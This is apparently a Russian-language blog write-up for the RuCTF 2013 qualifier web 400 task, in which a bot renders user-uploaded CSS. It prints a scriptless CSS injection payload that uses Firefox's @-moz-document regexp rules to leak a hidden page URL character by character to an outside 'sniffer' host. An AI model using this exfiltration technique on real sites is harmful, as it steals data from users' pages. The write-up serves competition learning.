Дмитрий DarkByte Москин

Мой блог, да.
logo

RuCTF 2013 Quals - web 400 writeup

Опубликовано 10.03.2013 автором Дмитрий Москин
WEB400 DocViewer
Find the key!


На сайте нам предлагают загрузить произвольный CSS файл, который затем вставляется в страницу, на которую затем можно натравить бота.



Бот пользует браузер Mozilla Firefox, а значит понимает "@-moz-document" и regexp. Используем scriptless атаку с применением этих операторов.

body{background:url(//sniffer.../p=start)}
@-moz-document regexp(".*0.*"){ul li:nth-child(1){background:url(//sniffer.../p=0_0)}}
@-moz-document regexp(".*1.*"){ul li:nth-child(1){background:url(//sniffer.../p=1_0)}}
...
@-moz-document regexp(".*a.*"){ul li:nth-child(1){background:url(//sniffer.../p=a_0)}}
@-moz-document regexp(".*b.*"){ul li:nth-child(1){background:url(//sniffer.../p=b_0)}}
@-moz-document regexp(".*c.*"){ul li:nth-child(1){background:url(//sniffer.../p=c_0)}}
...
@-moz-document regexp(".*.0.*"){ul li:nth-child(1){background:url(//sniffer.../p=0_1)}}
@-moz-document regexp(".*.1.*"){ul li:nth-child(1){background:url(//sniffer.../p=1_1)}}
...
@-moz-document regexp(".*..0.*"){ul li:nth-child(1){background:url(//sniffer.../p=0_2)}}
@-moz-document regexp(".*..1.*"){ul li:nth-child(1){background:url(//sniffer.../p=1_2)}}
...
@-moz-document regexp(".*......z.*"){ul li:nth-child(1){background:url(//sniffer.../p=z_7)}}
@-moz-document regexp(".*......z.*"){ul li:nth-child(1){background:url(//sniffer.../p=z_7)}}


Вытаскивая по 8 символов, получаем целиком ссылку на страницу, на которой лежит флаг: 14dc1b07cb801b25f1602bb0668579b4.